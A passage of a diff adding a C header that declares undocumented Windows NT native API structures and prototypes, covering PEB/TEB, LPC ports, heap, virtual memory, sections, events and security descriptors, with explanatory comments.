LIST_ENTRY InLoadOrderModuleList; // Points to the loaded modules (main EXE usually) + LIST_ENTRY InMemoryOrderModuleList; // Points to all modules (EXE and all DLLs) + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + +} PEB_LDR_DATA, *PPEB_LDR_DATA; + + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; // Base address of the module + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + LIST_ENTRY HashLinks; + PVOID SectionPointer; + ULONG CheckSum; + ULONG TimeDateStamp; + PVOID LoadedImports; + PVOID EntryPointActivationContext; + PVOID PatchInformation; + PVOID Unknown1; + PVOID Unknown2; + PVOID Unknown3; + +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the + BOOLEAN ReadImageFileExecOptions; // + BOOLEAN BeingDebugged; // + BOOLEAN SpareBool; // + HANDLE Mutant; // INITIAL_PEB structure is also updated. + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; + PVOID FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID KernelCallbackTable; + HANDLE SystemReserved; + PVOID AtlThunkSListPtr32; + PPEB_FREE_BLOCK FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; // relates to TLS_MINIMUM_AVAILABLE + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID *ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + + // + // Useful information for LdrpInitialize + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + // + // Passed up from MmCreatePeb from Session Manager registry key + // + + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + + // + // Where heap manager keeps track of all heaps created for a process + // Fields initialized by MmCreatePeb. ProcessHeaps is initialized + // to point to the first free byte after the PEB and MaximumNumberOfHeaps + // is computed from the page size used to hold the PEB, less the fixed + // size of this data structure. + // + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID *ProcessHeaps; + + // + // + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + + // + // Following fields filled in by MmCreatePeb from system values and/or + // image header. These fields have changed since Windows NT 4.0, + // so use with caution + // + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG ImageProcessAffinityMask; + ULONG GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE]; + +} PEB, *PPEB; + + +// +// Thread environment block +// + +typedef struct _TEB +{ + NT_TIB NtTib; + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + // Incomplete + +} TEB, *PTEB; + + +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; + +} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; + + + +#define NtCurrentProcess() ((HANDLE) -1) +#define NtCurrentThread() ((HANDLE) -2) + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId OPTIONAL + ); + +NTSYSCALLAPI + NTSTATUS + NTAPI + NtSuspendProcess( + IN HANDLE ProcessHandle + ); + +NTSYSCALLAPI + NTSTATUS + NTAPI + NtResumeProcess( + IN HANDLE ProcessHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId OPTIONAL + ); + +NTSYSAPI + NTSTATUS + NTAPI + NtQueryInformationThread( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + OUT PVOID ThreadInformation, + IN ULONG ThreadInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationProcess( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + IN PVOID ProcessInformation, + IN ULONG ProcessInformationLength + ); + +//------------------------------------------------------------------------------ +// LPC Functions + +#define MAX_LPC_DATA 0x130 // Maximum number of bytes that can be copied through LPC + +// LPC connection types +typedef enum _LPC_TYPE +{ + LPC_NEW_MESSAGE, // (0) A new message + LPC_REQUEST, // (1) A request message + LPC_REPLY, // (2) A reply to a request message + LPC_DATAGRAM, // (3) + LPC_LOST_REPLY, // (4) + LPC_PORT_CLOSED, // (5) Send when port is deleted + LPC_CLIENT_DIED, // (6) Messages to thread termination ports + LPC_EXCEPTION, // (7) Messages to thread exception ports + LPC_DEBUG_EVENT, // (8) Messages to thread debug port + LPC_ERROR_EVENT, // (9) Used by NtRaiseHardError + LPC_CONNECTION_REQUEST // (A) Used by NtConnectPort + +} LPC_TYPE, *PLPC_TYPE; + +// +// Define header for Port Message +// + +typedef struct _PORT_MESSAGE +{ + USHORT DataLength; // Length of data following the header (bytes) + USHORT TotalLength; // Length of data + sizeof(PORT_MESSAGE) + USHORT Type; // Type of the message (See LPC_TYPE enum) + USHORT VirtualRangesOffset; // Offset of array of virtual address ranges + CLIENT_ID ClientId; // Client identifier of the message sender + ULONG MessageId; // Identifier of the particular message instance + union + { + ULONG CallbackId; // + ULONG ClientViewSize; // Size, in bytes, of section created by the sender + }; + +} PORT_MESSAGE, *PPORT_MESSAGE; + +// +// Define structure for initializing shared memory on the caller's side of the port +// + +typedef struct _PORT_VIEW { + + ULONG Length; // Size of this structure + HANDLE SectionHandle; // Handle to section object with + // SECTION_MAP_WRITE and SECTION_MAP_READ + ULONG SectionOffset; // The offset in the section to map a view for + // the port data area. The offset must be aligned + // with the allocation granularity of the system. + ULONG ViewSize; // The size of the view (in bytes) + PVOID ViewBase; // The base address of the view in the creator + // + PVOID ViewRemoteBase; // The base address of the view in the process + // connected to the port. +} PORT_VIEW, *PPORT_VIEW; + +// +// Define structure for shared memory coming from remote side of the port +// + +typedef struct _REMOTE_PORT_VIEW { + + ULONG Length; // Size of this structure + ULONG ViewSize; // The size of the view (bytes) + PVOID ViewBase; // Base address of the view + +} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; + +/*++ + + NtCreatePort + ============ + + Creates a LPC port object. The creator of the LPC port becomes a server + of LPC communication + + PortHandle - Points to a variable that will receive the + port object handle if the call is successful. + + ObjectAttributes - Points to a structure that specifies the object s + attributes. OBJ_KERNEL_HANDLE, OBJ_OPENLINK, OBJ_OPENIF, OBJ_EXCLUSIVE, + OBJ_PERMANENT, and OBJ_INHERIT are not valid attributes for a port object. + + MaxConnectionInfoLength - The maximum size, in bytes, of data that can + be sent through the port. + + MaxMessageLength - The maximum size, in bytes, of a message + that can be sent through the port. + + MaxPoolUsage - Specifies the maximum amount of NonPaged pool that can be used for + message storage. Zero means default value. + + ZwCreatePort verifies that (MaxDataSize <= 0x104) and (MaxMessageSize <= 0x148). + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtCreatePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN ULONG MaxPoolUsage + ); + + +/*++ + + NtConnectPort + ============= + + Creates a port connected to a named port (cliend side). + + PortHandle - A pointer to a variable that will receive the client + communication port object handle value. + + PortName - Points to a structure that specifies the name + of the port to connect to. + + SecurityQos - Points to a structure that specifies the level + of impersonation available to the port listener. + + ClientView - Optionally points to a structure describing + the shared memory region used to send large amounts of data + to the listener; if the call is successful, this will be updated. + + ServerView - Optionally points to a caller-allocated buffer + or variable that receives information on the shared memory region + used by the listener to send large amounts of data to the + caller. + + MaxMessageLength - Optionally points to a variable that receives the size, + in bytes, of the largest message that can be sent through the port. + + ConnectionInformation - Optionally points to a caller-allocated + buffer or variable that specifies connect data to send to the listener, + and receives connect data sent by the listener. + + ConnectionInformationLength - Optionally points to a variable that + specifies the size, in bytes, of the connect data to send + to the listener, and receives the size of the connect data + sent by the listener. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT PPORT_VIEW ClientView OPTIONAL, + OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, + OUT PULONG MaxMessageLength OPTIONAL, + IN OUT PVOID ConnectionInformation OPTIONAL, + IN OUT PULONG ConnectionInformationLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT PPORT_VIEW ClientView OPTIONAL, + OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, + OUT PULONG MaxMessageLength OPTIONAL, + IN OUT PVOID ConnectionInformation OPTIONAL, + IN OUT PULONG ConnectionInformationLength OPTIONAL + ); + + +/*++ + + NtListenPort + ============ + + Listens on a port for a connection request message on the server side. + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + ConnectionRequest - Points to a caller-allocated buffer + or variable that receives the connect message sent to + the port. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtListenPort( + IN HANDLE PortHandle, + OUT PPORT_MESSAGE RequestMessage + ); + +/*++ + + NtAcceptConnectPort + =================== + + Accepts or rejects a connection request on the server side. + + PortHandle - Points to a variable that will receive the port object + handle if the call is successful. + + PortContext - A numeric identifier to be associated with the port. + + ConnectionRequest - Points to a caller-allocated buffer or variable + that identifies the connection request and contains any connect + data that should be returned to requestor of the connection + + AcceptConnection - Specifies whether the connection should + be accepted or not + + ServerView - Optionally points to a structure describing + the shared memory region used to send large amounts of data to the + requestor; if the call is successful, this will be updated + + ClientView - Optionally points to a caller-allocated buffer + or variable that receives information on the shared memory + region used by the requestor to send large amounts of data to the + caller + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtAcceptConnectPort( + OUT PHANDLE PortHandle, + IN PVOID PortContext OPTIONAL, + IN PPORT_MESSAGE ConnectionRequest, + IN BOOLEAN AcceptConnection, + IN OUT PPORT_VIEW ServerView OPTIONAL, + OUT PREMOTE_PORT_VIEW ClientView OPTIONAL + ); + +/*++ + + NtCompleteConnectPort + ===================== + + Completes the port connection process on the server side. + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtCompleteConnectPort( + IN HANDLE PortHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCompleteConnectPort( + IN HANDLE PortHandle + ); + + +/*++ + + NtRequestPort + ============= + + Sends a request message to a port (client side) + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + RequestMessage - Points to a caller-allocated buffer or variable + that specifies the request message to send to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtRequestPort ( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage + ); + +/*++ + + NtRequestWaitReplyPort + ====================== + + Sends a request message to a port and waits for a reply (client side) + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + RequestMessage - Points to a caller-allocated buffer or variable + that specifies the request message to send to the port. + + ReplyMessage - Points to a caller-allocated buffer or variable + that receives the reply message sent to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + +/*++ + + NtReplyPort + =========== + + Sends a reply message to a port (Server side) + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + ReplyMessage - Points to a caller-allocated buffer or variable + that specifies the reply message to send to the port. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE ReplyMessage + ); + +/*++ + + NtReplyWaitReplyPort + ==================== + + Sends a reply message to a port and waits for a reply message + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + ReplyMessage - Points to a caller-allocated buffer or variable + that specifies the reply message to send to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtReplyWaitReplyPort( + IN HANDLE PortHandle, + IN OUT PPORT_MESSAGE ReplyMessage + ); + + +/*++ + + NtReplyWaitReceivePort + ====================== + + Optionally sends a reply message to a port and waits for a + message + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + PortContext - Optionally points to a variable that receives + a numeric identifier associated with the port. + + ReplyMessage - Optionally points to a caller-allocated buffer + or variable that specifies the reply message to send to the port. + + ReceiveMessage - Points to a caller-allocated buffer or variable + that receives the message sent to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtReplyWaitReceivePort( + IN HANDLE PortHandle, + OUT PVOID *PortContext OPTIONAL, + IN PPORT_MESSAGE ReplyMessage OPTIONAL, + OUT PPORT_MESSAGE ReceiveMessage + ); + +//----------------------------------------------------------------------------- +// Heap functions + +#define HEAP_NO_SERIALIZE 0x00000001 +#define HEAP_GROWABLE 0x00000002 +#define HEAP_GENERATE_EXCEPTIONS 0x00000004 +#define HEAP_ZERO_MEMORY 0x00000008 +#define HEAP_REALLOC_IN_PLACE_ONLY 0x00000010 +#define HEAP_TAIL_CHECKING_ENABLED 0x00000020 +#define HEAP_FREE_CHECKING_ENABLED 0x00000040 +#define HEAP_DISABLE_COALESCE_ON_FREE 0x00000080 +#define HEAP_CREATE_ALIGN_16 0x00010000 +#define HEAP_CREATE_ENABLE_TRACING 0x00020000 +#define HEAP_MAXIMUM_TAG 0x0FFF +#define HEAP_PSEUDO_TAG_FLAG 0x8000 + +// +// Data structure for heap definition. This includes various +// sizing parameters and callback routines, which, if left NULL, +// result in default behavior +// + +typedef struct RTL_HEAP_PARAMETERS { + ULONG Length; //sizeof(RTL_HEAP_PARAMETERS) + ULONG SegmentReserve; + ULONG SegmentCommit; + ULONG DeCommitFreeBlockThreshold; + ULONG DeCommitTotalFreeThreshold; + ULONG MaximumAllocationSize; + ULONG VirtualMemoryThreshold; + ULONG InitialCommit; + ULONG InitialReserve; + PVOID CommitRoutine; + ULONG Reserved; +} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; + + +#define RtlProcessHeap() (HANDLE)(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap) + + +NTSYSAPI +HANDLE +NTAPI +RtlCreateHeap ( + IN ULONG Flags, + IN PVOID BaseAddress OPTIONAL, + IN ULONG SizeToReserve, + IN ULONG SizeToCommit, + IN BOOLEAN Lock OPTIONAL, + IN PRTL_HEAP_PARAMETERS Definition OPTIONAL + ); + + +NTSYSAPI +ULONG +NTAPI +RtlDestroyHeap ( + IN HANDLE HeapHandle + ); + + +NTSYSAPI +PVOID +NTAPI +RtlAllocateHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN ULONG Size + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address + ); + + +NTSYSAPI +ULONG +NTAPI +RtlCompactHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlLockHeap ( + IN HANDLE HeapHandle + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlUnlockHeap ( + IN HANDLE HeapHandle + ); + + +NTSYSAPI +PVOID +NTAPI +RtlReAllocateHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address, + IN ULONG Size + ); + + +NTSYSAPI +ULONG +NTAPI +RtlSizeHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidateHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Virtual memory functions + +NTSYSAPI +NTSTATUS +NTAPI +NtAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN OUT PULONG RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN OUT PULONG RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PULONG RegionSize, + IN ULONG FreeType + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PULONG RegionSize, + IN ULONG FreeType + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtReadVirtualMemory( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + OUT PVOID Buffer, + IN ULONG NumberOfBytesToRead, + OUT PULONG NumberOfBytesRead OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtWriteVirtualMemory( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN PVOID Buffer, + IN ULONG NumberOfBytesToWrite, + OUT PULONG NumberOfBytesWritten OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Section functions + +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, + ViewUnmap = 2 + +} SECTION_INHERIT; + + +typedef enum _SECTION_INFORMATION_CLASS +{ + SectionBasicInformation, + SectionImageInformation + +} SECTION_INFORMATION_CLASS, *PSECTION_INFORMATION_CLASS; + + +/*++ + + NtCreateSection + =============== + + Creates a section object. + + SectionHandle - Points to a variable that will receive the section + object handle if the call is successful. + + DesiredAccess - Specifies the type of access that the caller requires + to the section object. This parameter can be zero, or any combination + of the following flags: + + SECTION_QUERY - Query access + SECTION_MAP_WRITE - Can be written when mapped + SECTION_MAP_READ - Can be read when mapped + SECTION_MAP_EXECUTE - Can be executed when mapped + SECTION_EXTEND_SIZE - Extend access + SECTION_ALL_ACCESS - All of the preceding + + STANDARD_RIGHTS_REQUIRED + + ObjectAttributes - Points to a structure that specifies the object s attributes. + OBJ_OPENLINK is not a valid attribute for a section object. + + MaximumSize - Optionally points to a variable that specifies the size, + in bytes, of the section. If FileHandle is zero, the size must be + specified; otherwise, it can be defaulted from the size of the file + referred to by FileHandle. + + SectionPageProtection - The protection desired for the pages + of the section when the section is mapped. This parameter can take + one of the following values: + + PAGE_READONLY + PAGE_READWRITE + PAGE_WRITECOPY + PAGE_EXECUTE + PAGE_EXECUTE_READ + PAGE_EXECUTE_READWRITE + PAGE_EXECUTE_WRITECOPY + + AllocationAttributes - The attributes for the section. This parameter must + be a combination of the following values: + + SEC_BASED 0x00200000 // Map section at same address in each process + SEC_NO_CHANGE 0x00400000 // Disable changes to protection of pages + SEC_IMAGE 0x01000000 // Map section as an image + SEC_VLM 0x02000000 // Map section in VLM region + SEC_RESERVE 0x04000000 // Reserve without allocating pagefile storage + SEC_COMMIT 0x08000000 // Commit pages; the default behavior + SEC_NOCACHE 0x10000000 // Mark pages as non-cacheable + + FileHandle - Identifies the file from which to create the section object. + The file must be opened with an access mode compatible with the protection + flags specified by the Protect parameter. If FileHandle is zero, + the function creates a section object of the specified size backed + by the paging file rather than by a named file in the file system. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateSection( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN PLARGE_INTEGER MaximumSize OPTIONAL, + IN ULONG SectionPageProtection, + IN ULONG AllocationAttributes, + IN HANDLE FileHandle OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateSection( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN PLARGE_INTEGER MaximumSize OPTIONAL, + IN ULONG SectionPageProtection, + IN ULONG AllocationAttributes, + IN HANDLE FileHandle OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN ULONG CommitSize, + IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, + IN OUT PULONG ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN ULONG CommitSize, + IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, + IN OUT PULONG ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER SectionSize + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER SectionSize + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Synchronization + +// +// Wait type +// + +typedef enum _WAIT_TYPE { + WaitAll, + WaitAny + } WAIT_TYPE; + + +NTSYSAPI +NTSTATUS +NTAPI +NtWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handle[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handle[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Event support + +typedef enum _EVENT_INFORMATION_CLASS { + EventBasicInformation // = 0 +} EVENT_INFORMATION_CLASS; + +typedef struct _EVENT_BASIC_INFORMATION { + EVENT_TYPE EventType; + LONG EventState; +} EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION; + +// +// Event handling routines +// + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtClearEvent ( + IN HANDLE Handle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwClearEvent ( + IN HANDLE Handle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtPulseEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwPulseEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtResetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwResetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwSetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInfoClass, + OUT PVOID EventInfo, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInfoClass, + OUT PVOID EventInfo, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Security descriptor functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG Revision + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetDaclSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN BOOLEAN DaclPresent, + IN PACL Dacl OPTIONAL, + IN BOOLEAN DaclDefaulted OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetOwnerSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN PSID Owner OPTIONAL, + IN BOOLEAN OwnerDefaulted OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateAndInitializeSid( + IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + IN UCHAR SubAuthorityCount, + IN ULONG SubAuthority0, + IN ULONG SubAuthority1, + IN ULONG SubAuthority2, + IN ULONG SubAuthority3, + IN ULONG SubAuthority4, + IN ULONG SubAuthority5, + IN ULONG SubAuthority6, + IN ULONG SubAuthority7, + OUT PSID *Sid + ); + + +NTSYSAPI +ULONG +NTAPI +RtlLengthSid ( + IN PSID Sid + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualSid ( + IN PSID Sid1, + IN PSID Sid2 + ); + + +NTSYSAPI +PVOID +NTAPI +RtlFreeSid( + IN PSID Sid + ); + + +NTSYSAPI +NTSTATUS +NTAPI 